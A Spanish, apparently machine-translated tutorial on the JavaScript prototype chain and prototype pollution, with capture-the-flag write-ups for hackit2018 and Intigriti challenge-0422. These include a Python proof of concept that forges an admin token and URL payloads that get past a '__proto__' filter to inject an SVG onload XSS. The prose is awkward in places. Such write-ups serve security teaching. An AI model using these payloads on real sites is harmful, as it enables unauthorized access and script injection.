Contaminación de la cadena del prototipo XSS
1. El concepto de cadena de prototipos
Un aspecto importante de la programación orientada a objetos es la herencia de objetos. Al heredar el objeto B, el objeto A puede tener directamente todas las propiedades y métodos del objeto B. Esto es muy útil para la reutilización de código.
La mayoría de los lenguajes de programación orientados a objetos implementan la herencia de objetos a través de "clases". Tradicionalmente, la herencia del lenguaje JavaScript no se implementa a través de la clase, sino a través del "objeto prototipo" (prototipo).Este capítulo presenta la herencia de la cadena de prototipos de JavaScript.
Aunque ES6 introduce el concepto de clase, su implementación subyacente todavía se realiza a través de la cadena de prototipos.
1.1 Desventajas de los constructores
JavaScript genera nuevos objetos a través de constructores, por lo que los constructores pueden considerarse como plantillas para objetos. Las propiedades y métodos del objeto de instancia se pueden definir dentro del constructor.
function Cat(name, color) {
this.name = name;
this.color = color;
}
var cat1 = new Cat('大毛', '白色');
console.log(cat1.name);
console.log(cat1.color);
En el código anterior, la función es un constructor, y los atributos y los atributos Cat
se definen dentro de la función Todos los objetos de instancia (en el ejemplo anterior ) generarán estos dos atributos, es decir, estos dos atributos se definirán en el objeto de instancia.name
color
cat1
Aunque es conveniente definir atributos para objetos de instancia a través de constructores, tiene una desventaja. Los atributos no se pueden compartir entre varias instancias del mismo constructor, lo que genera un desperdicio de recursos del sistema. Es decir, cada vez que se crea un objeto correspondiente, los atributos inherentes que se pueden compartir entre estos objetos deben reasignarse para su almacenamiento. llevar al despilfarro de recursos.
function Cat(name, color) {
this.name = name;
this.color = color;
this.meow = function () {
console.log('喵喵');
};
}
var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');
cat1.meow === cat2.meow
resultado:
En el código anterior, cat1
y cat2
son dos instancias del mismo constructor, las cuales tienen meow
métodos. Dado que meow
el método se genera en cada objeto de instancia, se generan dos instancias dos veces. En otras palabras, cada vez que se crea una nueva instancia, meow
se creará un nuevo método. Esto es innecesario y una pérdida de recursos del sistema, ya que todos meow
los métodos tienen el mismo comportamiento y deben compartirse.
La solución a este problema es el objeto prototipo de JavaScript (prototipo).
Es decir, JS propone el concepto de cadena de prototipos para resolver el problema de los métodos de atributos compartidos entre diferentes instancias cuando el constructor genera instancias.
1.2 El papel del atributo prototipo
La idea de diseño del mecanismo de herencia de JavaScript es que todas las propiedades y métodos del objeto prototipo pueden ser compartidos por el objeto de instancia. Es decir, si las propiedades y los métodos se definen en el prototipo, todos los objetos de instancia se pueden compartir, lo que no solo ahorra memoria, sino que también refleja la conexión entre los objetos de instancia. (El prototipo es un área de memoria compartida donde se pueden almacenar elementos compartidos entre instancias)
A continuación, veamos primero cómo especificar un prototipo para un objeto. JavaScript estipula que cada función tiene una prototype
propiedad que apunta a un objeto.
function f() {
}
typeof f.prototype // "object"
Encontramos que cualquier función tiene un atributo prototipo, que apunta a un objeto.
Para funciones ordinarias, este atributo es básicamente inútil. Sin embargo, para el constructor, cuando se genera una instancia, este atributo se convertirá automáticamente en el prototipo del objeto instancia.
function Animal(name) {
this.name = name;
}
//定义构造函数的原型对象的color属性为 'white'
Animal.prototype.color = 'white';
//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');
//可以访问到实例自动获取的color属性
cat1.color // 'white'
cat2.color // 'white'
Animal
En el código anterior, las propiedades del constructor prototype
son el objeto de instancia cat1
y cat2
el objeto prototipo. Se agrega una color
propiedad al objeto prototipo y, como resultado, todos los objetos de instancia comparten esta propiedad.
Las propiedades del objeto prototipo no son propiedades del objeto de instancia en sí. Siempre que se modifique el objeto prototipo, el cambio se reflejará en todos los objetos de instancia inmediatamente.
Animal.prototype.color = 'yellow';
cat1.color // "yellow"
cat2.color // "yellow"
En el código anterior, color
el valor de la propiedad del objeto prototipo cambia yellow
y las propiedades de los dos objetos de instancia color
cambian inmediatamente. Esto se debe a que el objeto de instancia en realidad no tiene color
atributos y todos leen color
los atributos del objeto prototipo. Es decir, cuando el objeto instancia en sí mismo no tiene una determinada propiedad o método, irá al objeto prototipo para encontrar la propiedad o el método. Esto es lo que hace que los objetos prototipo sean especiales.
Si el objeto de instancia en sí tiene una determinada propiedad o método, no irá al objeto prototipo para encontrar esta propiedad o método.
cat1.color = 'black';
cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';
En el código anterior, se cambia el atributo cat1
del objeto de instancia , de modo que ya no lee el atributo del objeto prototipo, y el valor de este último sigue siendo .color
black
color
yellow
En resumen, la función del objeto prototipo es definir las propiedades y métodos compartidos por todos los objetos de instancia. Esta es la razón por la que se denomina objeto prototipo, y un objeto de instancia puede considerarse como un subobjeto derivado de un objeto prototipo.
Otro ejemplo es que definimos un método walk sobre el prototipo del constructor:
Animal.prototype.walk = function () {
console.log(this.name + ' is walking');
};
Este método se puede llamar en cada instancia:
function Animal(name) {
this.name = name;
}
Animal.prototype.walk = function () {
console.log(this.name + ' is walking');
};
//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');
//实例中可以调用对应的方法
cat1.walk();
car2.walk();
En este punto, entendemos que el papel del prototipo es proporcionar un espacio de memoria compartido para todas las instancias creadas por el constructor. Los métodos de atributos almacenados en este espacio pueden ser llamados por cada instancia recién creada. Y la instancia recién creada puede tener su propia implementación nueva (modificar los atributos predeterminados, es decir, atributos personalizados).
1.3 Cadena prototipo
JavaScript estipula que todos los objetos tienen su propio objeto prototipo (prototipo). Por un lado, cualquier objeto puede servir como prototipo de otros objetos; por otro lado, como el objeto prototipo también es un objeto, también tiene su propio prototipo. Por lo tanto, se formará una "cadena de prototipo" (prototype chain): objeto a prototipo, y luego al prototipo del prototipo...
Dado que la propiedad prototipo del constructor apunta a un objeto, ¿qué significa esto? Por supuesto, como prototipo del objeto, también tiene su propio constructor (objeto), y su propiedad prototipo apunta a un prototipo.
Si rastrea capa por capa, el prototipo de todos los objetos eventualmente se puede rastrear Object.prototype
, es decir, las propiedades Object
del constructor prototype
. Object.prototype
Es decir, propiedades que heredan todos los objetos . Es por esto que todos los objetos tienen valueOf
el método and , ya que este es heredado de .toString
Object.prototype
Aquí object
está el punto básico de todo el JS, similar a la singularidad del universo, es decir, como object
también es un constructor, también debe tener atributos de prototipo. Y este prototipo define los métodos tostring y valueof. Por lo tanto, vale la pena mencionar todas las funciones e instancias de JS creadas por él. Ambas funciones son accesibles.
Entonces, ¿ Object.prototype
un objeto tiene su prototipo? Object.prototype
El prototipo de la respuesta es sí null
. null
No tiene propiedades ni métodos, y no tiene su propio prototipo. Así que el final de la cadena de prototipos es null
.
Object.getPrototypeOf(Object.prototype)
// null
El código anterior indica que Object.prototype
el prototipo del objeto es null
, ya que null
no hay propiedades, la cadena de prototipos termina aquí. Object.getPrototypeOf
El método devuelve el prototipo del objeto de parámetro.
Al leer una propiedad de un objeto, el motor de JavaScript primero busca la propiedad del objeto en sí, si no la encuentra, va a su prototipo, si aún no la encuentra, va al prototipo del prototipo para encontrarla. él. Si no encuentra ninguno hasta el nivel superior Object.prototype
, regrese undefined
. Si tanto el objeto en sí como su prototipo definen una propiedad con el mismo nombre, entonces la propiedad del objeto en sí se lee primero, lo que se denomina "anulación".
Tenga en cuenta que subir un nivel, buscar una determinada propiedad en toda la cadena de prototipos tiene un impacto en el rendimiento. Cuanto mayor sea el objeto prototipo cuya propiedad está buscando tiene un mayor impacto en el rendimiento. Si se busca una propiedad que no existe, se recorrerá toda la cadena de prototipos.
Por ejemplo, si deja que las propiedades del constructor prototype
apunten a una matriz, significa que el objeto de instancia puede llamar al método de matriz.
var MyArray = function () {
};
MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;
var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true
En el código anterior, mine
es el objeto de instancia del constructor MyArray
Dado MyArray.prototype
que apunta a una instancia de matriz, mine
se puede llamar al método de matriz (estos métodos se definen en prototype
el objeto de la instancia de matriz). La última línea instanceof
de expresiones se usa para comparar si un objeto es una instancia de cierto constructor y el resultado es una instancia mine
de la prueba Array
.
1.4 constructor
Propiedades
prototype
El objeto tiene una constructor
propiedad, que por defecto apunta al prototype
constructor donde se encuentra el objeto.
function P() {
}
P.prototype.constructor === P // true
Dado que constructor
el atributo se define prototype
en el objeto, significa que todos los objetos de instancia pueden heredarlo.
function P() {
}
var p = new P();
p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false
En el código anterior, p
es un objeto de instancia del constructor P
, pero p
no tiene propiedad en sí mismo.Esta constructor
propiedad en realidad lee P.prototype.constructor
las propiedades en la cadena prototipo.
constructor
La función del atributo es saber qué constructor generó un objeto de instancia.
function F() {
};
var f = new F();
f.constructor === F // true
f.constructor === RegExp // false
En el código anterior, constructor
el atributo determina f
que el constructor del objeto de instancia es F
, no RegExp
.
Por otro lado, con constructor
las propiedades, es posible crear otra instancia a partir de un objeto de instancia.
function Constr() {
}
var x = new Constr();
var y = new x.constructor();
y instanceof Constr // true
En el código anterior, x
es una instancia del constructor , y el constructor se Constr
puede llamar indirectamente. x.constructor
Esto hace posible que un método de instancia llame a su propio constructor.
Constr.prototype.createCopy = function () {
return new this.constructor();
};
En el código anterior, createCopy
el método llama al constructor para crear otra instancia.
constructor
Los atributos representan la relación entre el objeto prototipo y el constructor. Si se modifica el objeto prototipo, los atributos generalmente se modificarán al mismo tiempo constructor
para evitar errores al hacer referencia.
Instancia de error:
function Person(name) {
this.name = name;
}
Person.prototype.constructor === Person // true
//修改原型属性的指向
Person.prototype = {
method: function () {
}
};
//没有主动修改该constructor的情况下,这里会出现不一致的情况
Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true
En el código anterior, el objeto prototipo del constructor Person
se cambia, pero constructor
la propiedad no se modifica, por lo que la propiedad ya no apunta a él Person
. Dado que Person
el nuevo prototipo de es un objeto ordinario y constructor
las propiedades del objeto ordinario apuntan al Object
constructor, se Person.prototype.constructor
convierte en Object
.
// 坏的写法
C.prototype = {
method1: function (...) {
... },
// ...
};
// 好的写法
C.prototype = {
constructor: C,
method1: function (...) {
... },
// ...
};
// 更好的写法 --- 避免对原型对象的直接修改,不破坏结构,用方法名区分
C.prototype.method1 = function (...) {
... };
En el código anterior, vuelva constructor
a apuntar la propiedad al constructor original o solo agregue el método en el objeto prototipo, para asegurarse de que instanceof
el operador no se distorsione.
Si no puede determinar constructor
qué función es el atributo, hay otra forma: name
obtenga el nombre del constructor de la instancia a través del atributo.
function Foo() {
}
var f = new Foo();
f.constructor.name // "Foo"
Hasta ahora, hemos aclarado el rol del atributo constructor, que es un atributo predeterminado en el prototipo, y el valor es el propietario del prototipo actual (apunta al constructor al que pertenece el prototipo actual). Es posible llamar al constructor a través de la instancia y realizar algunas funciones de copia de la instancia. Una cosa a tener en cuenta es que el atributo del constructor modificará automáticamente el valor. Cuando modificamos artificialmente el puntero del atributo del prototipo y queremos usarlo para acceder al constructor, debemos recordar modificar el valor del constructor, pero hay más sugerencias. No haga modificaciones de punto a punto a los objetos prototipo. Las funciones se pueden implementar en forma de agregar métodos sin destruir la estructura del prototipo.
Por supuesto, podemos usar esta propiedad para acceder al objeto prototipo a través de la instancia:
<script>
function Person(name) {
this.name = name;
}
let per = new Person('batman');
console.log(Person.prototype);
console.log(per.constructor.prototype);
</script>
1.5 prototype
y__proto__
A través del estudio anterior, sabemos que el prototipo prototipo se utiliza como una propiedad del constructor, que apunta a un objeto. Podemos agregar algunas propiedades y métodos a este objeto. Estos métodos de atributo agregados al prototipo pueden ser heredados incondicionalmente por objetos de instancia. Por supuesto, solo hay una copia de los datos. Entonces, si queremos acceder directamente al prototipo del constructor en la instancia, ¿cómo debemos acceder?
¿entonces?
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.prototype);
No debe ser accesible, porque se usa así:
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.__proto__);
En este punto, podemos ver que la __proto__
función real es permitir que el objeto de instancia acceda al objeto prototipo de su propio constructor. Es decir, podemos ver la cadena de prototipos visitando todo el tiempo:
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.__proto__);
console.log(foo1.__proto__.__proto__);
console.log(foo1.__proto__.__proto__.__proto__);
Mira, en realidad encontramos nulo con tres visitas prototipo. Debido a que nuestro constructor está un nivel object
más arriba, subir dos niveles es object
el prototipo de , y object
el prototipo de ' se acaba de definir null
. Entonces podemos ver este fenómeno.
2. Contaminación de la cadena prototipo
2.1 ¿Qué es la contaminación de la cadena de prototipos?
Echemos un vistazo al fenómeno de la contaminación de la cadena de prototipos a través de un ejemplo simple:
// foo是一个简单的JavaScript对象
let foo = {
bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 通过对象修改foo的原型中的bar(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {
}
// 查看zoo.bar,值为修改后的2
console.log(zoo.bar)
__proto__
En otras palabras, el motivo de la contaminación de la cadena de prototipos es que modificamos el objeto prototipo de su constructor a través de los objetos y atributos accesibles . De esta forma, afecta a los atributos correspondientes de cada instancia creada por el constructor posterior. La premisa es que esta instancia no realiza modificaciones personalizadas a esta propiedad.
2.2 Condiciones de contaminación de la cadena prototipo
En aplicaciones prácticas, ¿bajo qué circunstancias puede haber situaciones en las que un atacante pueda modificar la cadena de prototipos?
Pensemos, ¿bajo qué circunstancias podemos establecer __proto__
el valor? De hecho, solo busque la operación que puede controlar el "nombre clave" de la matriz (objeto):
- La combinación de objetos se utiliza para combinar y empalmar
- Clonar objeto (de hecho, el núcleo es fusionar el objeto que se va a operar en un objeto vacío) copiar
Tomando la combinación de objetos como ejemplo, imaginamos una función de combinación simple:
function merge(target, source) {
//循环取出source中的key
for (let key in source) {
//判断key是否在源目均存在,存在就递归调用merge
if (key in source && key in target) {
merge(target[key], source[key])
} else {
//不存在直接让源覆盖目
target[key] = source[key]
}
}
}
En resumen, la función de esta función es transferir propiedades entre objetos, y las propiedades del objeto de origen cubrirán completamente el objeto de destino. Si el objeto de destino no tiene uno, asígnelo directamente. Si hay un objeto de destino, después de la llamada recursiva, las propiedades correspondientes del objeto de destino aún se sobrescribirán.
Intentemos contaminar una vez:
//定义了对象o1和o2,并在o2里面添加了原型作为键
let o1 = {
}
let o2 = {
a: 1, "__proto__": {
b: 2}}
//这里o1在复制的过程中会出现 o1._proto__ = {b:2}
//也就是说,后续可以用o3.b访问到原型属性o3.__proto__.b=2
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {
}
console.log(o3.b)
resultado:
No hay contaminación en la cadena de prototipos como razonamos. Utilizamos análisis de punto de quiebre y análisis de seguimiento:
La llave no se sacó directamente __proto__
, sino que se ignoró. Solo se sacan la llave a y la llave b.
Esto se debe a que, en el proceso de creación de o2 con JavaScript ( let o2 = {a: 1, "__proto__": {b: 2}}
), __proto__
ya representa el prototipo de o2. En este momento, al recorrer todos los nombres de clave de o2, lo que obtiene no [a, b]
es __proto__
una clave, y naturalmente el prototipo de Objeto no será modificado. .
Modificar el código:
let o1 = {
}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {
}
console.log(o3.b)
Continúe con el seguimiento con el punto de quiebre:
Se puede ver que se ha eliminado __proto__
como el nombre clave, y la contaminación de la cadena prototipo se puede realizar al final:
Esto se debe a que, en el caso del análisis de JSON, __proto__
se considerará un "nombre de clave" real en lugar de un "prototipo", por lo que esta clave existirá al atravesar o2.
La operación de combinación es la operación más común que puede controlar el nombre de la clave, y también es la más vulnerable a los ataques de cadena de prototipos.Este problema existe en muchas bibliotecas comunes.
2.3 Prototipo con ejemplo de contaminación
2.3.1 truco 2018
La inspiración para esta pregunta proviene de hackit2018, y se inicia un programa nodejs en el backend, que proporciona dos interfaces api y admin. El usuario envía parámetros, utiliza la contaminación de la cadena prototipo para modificar ilegalmente la información de inicio de sesión y luego inicia sesión en el administrador.
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({
winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({
winner: winner}))
}
else {
res.send(JSON.stringify({
winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
La condición para obtener el indicador es que el token de consulta entrante debe ser igual al valor MD5 del token de administración en la propia matriz de usuarios, y ambos deben existir.
Coloque el código fuente anterior debajo de la ruta, y puede ejecutarse después de que se resuelvan las dependencias. Veamos primero sus lagunas:
//请求接口,admin页面验证失败就返回forbidden
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
//用户提交参数的api接口
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
//漏洞点,此处用户提交的row和col以及data均可控,那么利用原型链污染的原理就可以污染object原型对象的参数。
//污染admintokrn为已知信息
matrix[client.row][client.col] = client.data;
Haz una prueba local primero:
Se puede realizar escribiendo python poc:
import requests
import json
url1 = "http://127.0.0.1:3000/api"
#md5(batman) is the value of querytoken
url2 = "http://127.0.0.1:3000/admin?querytoken=ec0e2603172c73a8b644bb9456c1ff6e"
s = requests.session()
headers = {
"Content-Type":"application/json"}
data1 = {
"row":"__proto__","col":"admintoken","data":"batman"}
res1 = s.post(url1,headers=headers,data=json.dumps(data1))
res2 = s.get(url2)
print(res2.text)
Efecto:
2.3.2 desafío-0422
challenge-0422 es un prototipo de desafío de contaminación en cadena de uno de los sitios web de desafíos XSS más famosos del mundo. Acerca de este desafío casi todos los meses. Aquellos que tengan éxito en el desafío pueden obtener algunos premios. Por supuesto, la dificultad no es baja. Cualquiera que esté interesado puede consultarlo para su estudio.
0422 significa el título del 22 de abril. Simplemente haga cambios en la URL correspondiente.
Veamos esta pregunta:
En la página se da un programa que simula ventanas, obviamente no pasa nada después de hacer clic. Necesitamos encontrar el código fuente JS correspondiente. Vemos que hay una etiqueta iframe dentro del código fuente. Intentamos ingresar:
ver fuente: https://challenge-0422.intigriti.io/challenge/Window%20Maker.html
De esta manera, podemos realizar un análisis preliminar de su código fuente: enumere sus principales códigos de función, le sugiero que intente averiguarlo primero. El siguiente contenido puede ser un poco difícil de entender
//main函数的位置
function main() {
//利用qs接收url中?以及以后的内容,并对其进行
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
//在JS中["string"]的写法,表明这里是一个数组赋值
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
//第一次merge的调用位置
merge(appConfig, qs.config)
//这里把定制按钮打开
appConfig["customMode"] = true
}
//又开始创建对象devsettings
let devSettings = Object.create(null)
//一系列的赋值,root接收到的是标签对象
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
//调用了这里的checkhost函数作为依据,进入第二次调用merge
if (checkHost()) {
//键值判断 测试主机端口标识位 置1
devSettings["isTestHostOrPort"] = true
//调用merge覆盖devsettings,覆盖用的参数是qs的settings表明我们可以传递settings这样一个参数进去
merge(devSettings, qs.settings)
}
//判断是测试主机或者debug模式就打印两个对象appConfig和devSettings
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
//根据custommode的值对devsettings.root采取不同的内容挂载
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {
view: function () {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"],
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}
})
}
//将devSettings.root插入到body里面去
document.body.appendChild(devSettings.root)
}
//获取当前页面的location信息,提取host仅当端口号为8080时返回true或者hostname为127.0.0.1
//返回true
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
//判断是否非本源?
function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}
//进阶版的merge函数,内部对于敏感字符特别是"__proto__"进行了过滤
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
//从源中获取键值
for (let key in source) {
//遇到了包含敏感字符的键直接跳出循环一次予以忽略
if (protectedKeys.includes(key)) continue
//迭代进行merge的赋值
//判断数据类型,类型符合就将其送入sanitize进行过滤。之后在进行赋值
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
//过滤函数,判断输入是否是字符串,如果是字符串就对其进行过滤
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
main()
})()
Después de analizar el código anterior, comenzaremos a resolver el problema. Primero encuentre la función de combinación de función de característica. Un total de dos ocurrencias, el primer disparador es incondicional, appconfig
modificado. Hasta ahora, parece inútil. La segunda vez es una llamada condicional y debe haber una función de verificación con un valor de retorno de 1 antes de la llamada. A través del análisis anterior.
Como función de checkhost, la base del juicio es el nombre de host y el número de puerto solicitados. En la actualidad, parece que no hay forma de que pase la prueba.
Mire la función de la segunda fusión. La segunda modificación de fusión cubre este parámetro. Obviamente, al final de la función principal, devSettings
se utiliza document.body.appendChild(devSettings.root)
este llamativo comportamiento de inserción .
Surgió la idea general, tenemos que encontrar una manera de interferir con la función checkhost antes de que podamos esperar devconfigs.root
contaminar la insertada. Veamos esta función nuevamente en este momento:
function checkHost() {
//获取了参数
const temp = location.host.split(':')
//用了temp数组进行参数的取出
const hostname = temp[0]
//继续调用temp[1]来取端口号,斯,端口号肯定没显示,取不出来。
//那就默认443咯
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
Recuerde el concepto básico de contaminación de la cadena de prototipos, use la instancia para acceder al objeto prototipo y cree la propiedad correspondiente, y contamine la instancia recién creada sin la propiedad. ¿La temperatura aquí tiene .1
esta propiedad? No, entonces construimos los siguientes parámetros para la contaminación:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080
//我们就是访问到了object.ptototype.1 = 8080 后续新建的temp虽然没有.1这个属性
//但是object作为始祖原型拥有此属性,通过系统循环,找到了这个属性并且值恰好是8080
//于是,绕过了此处的checkhost函数,成功将对sttings的merge引入执行流程。
Ahora debes tener dos preguntas:
P1: ¿Por qué no
__proto__
acceder al objeto prototipo?
R1: Durante la fusión, el autor filtró mal este parámetro. Al encontrar este personaje, saltará del bucle actual e ignorará su existencia. P2
: ¿Por qué hay dos objetos en la consola?
R2: Debido a que aquí hay un código de salida de juicio
//el juicio es el host de prueba o el modo de depuración, imprima dos objetos
appConfig y devSettings
if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) { console.log( 'appConfig', appConfig) consola.log('devSettings', devSettings) }
A continuación, nuestro objetivo es contaminar los parámetros de configuración y encontrar una manera de insertar el código JS completo para completar XSS:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E
Los siguientes setting
parámetros se obtienen encontrando el punto de inserción nivel por nivel. Por ejemplo:
El efecto emergente final:
Tenga en cuenta que esta ventana emergente solo puede tener efecto en navegadores que no sean Firefox. Pero es inofensivo, siempre y cuando todos puedan entender aproximadamente esta idea. A través de la contaminación de la cadena del segundo prototipo, nuestro código JS que finalmente se insertó realizó una ventana emergente XSS.
3. Resumen
En primer lugar, se propone el objeto prototipo para resolver el problema de desperdicio de recursos causado por el uso del constructor para crear múltiples instancias de métodos con atributos repetidos en el código JS. Al asignar prototype
atributos al constructor (que debe apuntar a un objeto prototipo con funciones compartidas), la instancia hereda de forma predeterminada todos los métodos de atributos escritos en el objeto prototipo. Por supuesto, esto no impide que las propiedades y los métodos personalizados de la instancia. Así es como funciona la creación de prototipos.
Como instancia de objeto prototipo, naturalmente tiene su propio constructor (objeto), por lo que object.prototype
el método especificado anteriormente será propiedad de todas las funciones JS, es decir, cualquier objeto que solemos decir tiene tostring
métodos y valueof
métodos. Como el ancestro protottpe
, el prototipo del ancestro, su constructor no existe, por lo que cuando desee acceder a su objeto prototipo, solo devolverá un valor nulo.
Pero también es la existencia de este mecanismo lo que constituye la cadena de prototipos, es decir, cuando cualquier objeto accede a un atributo de método que no existe, primero encontrará su propio objeto prototipo, y luego buscará el prototipo cuando sea suyo. el objeto prototipo no existe El objeto prototipo del objeto se repite hasta que object
se devuelve el objeto prototipo del objeto prototipo encontrado null
antes de detener la búsqueda. Naturalmente, una cadena de prototipos larga puede afectar el rendimiento.
Entonces, el principio de la llamada contaminación de la cadena de prototipos es que al modificar las propiedades del objeto prototipo de una determinada instancia, la instancia creada con el mismo constructor puede llamar a las propiedades modificadas en la ejecución posterior del programa. Para afectar el proceso de ejecución del programa y realizar XSS malicioso u otros ataques de comportamiento malicioso. Su par es más común en funciones de asignación como fusionar.
Luego, en la función de combinación, si desea utilizar la contaminación de la cadena prototipo, debe insertar la cadena prototipo en el objetivo. Para resolver el problema de que la combinación no se reconoce de forma predeterminada cuando se ejecuta, jsonizaremos los parámetros pasados __proto__
en la fusion El efecto se logra en secuencia, lo que se refleja en la carga útil de hackit2018.
Luego, en el proceso de acceder al objeto prototipo a través de la instancia, no solo podemos usar __proto__
sino también usar constructor.prototype
el acceso. Se puede lograr el mismo efecto, que challenge-0422
también se usa como método de derivación en el desafío.
En general, el tema de la contaminación de la cadena de prototipos todavía tiene mucho contenido en profundidad que vale la pena explorar, y este artículo es solo un rasguño. Si estás interesado, puedes profundizar más. A medida que se mejoran cada vez más las funciones que la tecnología front-end puede lograr, los problemas de seguridad que surgen no pueden subestimarse.
Todavía queda un largo camino por recorrer, especialmente para los conceptos básicos de código. Aún queda mucho camino por recorrer, ¡animémonos entre todos!
Además, la prevención de la contaminación de la cadena de prototipos solo se puede evitar desde la perspectiva de la escritura de código, y se debe filtrar cualquier parámetro que ingrese a la fusión. De esta forma, se pueden bloquear algunos ataques de contaminación en cadena de prototipos.